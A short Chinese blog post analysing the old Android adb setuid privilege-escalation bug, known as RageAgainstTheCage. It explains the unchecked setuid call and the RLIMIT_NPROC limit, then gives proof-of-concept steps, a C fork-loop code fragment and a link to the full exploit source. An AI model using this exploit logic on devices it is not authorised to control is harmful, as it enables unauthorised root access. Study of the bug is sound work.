/*
本文章由 莫灰灰 编写,转载请注明出处。
作者:莫灰灰 邮箱: [email protected]
*/
1. 漏洞分析
这是个很老的漏洞了,主要利用adb启动的时候调用setuid函数降到shell权限,却没有判断setuid返回失败的情况,因此造成了root的可能
如下是已经修复漏洞后的代码:
原本的代码大致如下:
setgid(AID_SHELL); setuid(AID_SHELL);
而setxid等函数的实现,其中有如下一段代码,即shell进程的数量如果达到了RLIMIT_NPROC的数量,那么set函数就会返回失败,因此降权也就失败了。
if (atomic_read(&new_user->processes) >= rlimit(RLIMIT_NPROC) && new_user != INIT_USER) { free_uid(new_user); return -EAGAIN; }
2. PoC
1.子进程中一直调用fork函数去增加shell进程,然后调用exit去退出它,以此造成了很多的僵尸进程。
2.fork失败后,表明shell进程已经达到最大上限了,因此在pipe中写了一个char型数值。
3.父进程调用read pipe一直在等待fork子进程的结束,之后,fork到最大进程后,结束adb进程。
4.然后再fork一个进程抢占adb的位置。
5.等到下次adb再起来的时候,其原本是具有root权限的,而后调用setxxx函数去将权限降低到shell,但此时shell进程因为达到了最大的进程数,于是,调用setxxx函数会失败,adb进程也就保留了root权限。
if (fork() == 0) { close(pepe[0]); for (;;) { if ((p = fork()) == 0) { exit(0); } else if (p < 0) { if (new_pids) { printf("\n[+] Forked %d childs.\n", pids); new_pids = 0; write(pepe[1], &c, 1); close(pepe[1]); } } else { ++pids; } } } close(pepe[1]); read(pepe[0], &c, 1); restart_adb(adb_pid); if (fork() == 0) { fork(); for (;;) sleep(0x743C); } wait_for_root_adb(adb_pid);
利用代码:http://blog.claudxiao.net/wp-content/uploads/2011/04/rageagainstthecage.c
exploit for Android (adb setuid),布布扣,bubuko.com
时间: 2024-12-29 23:30:51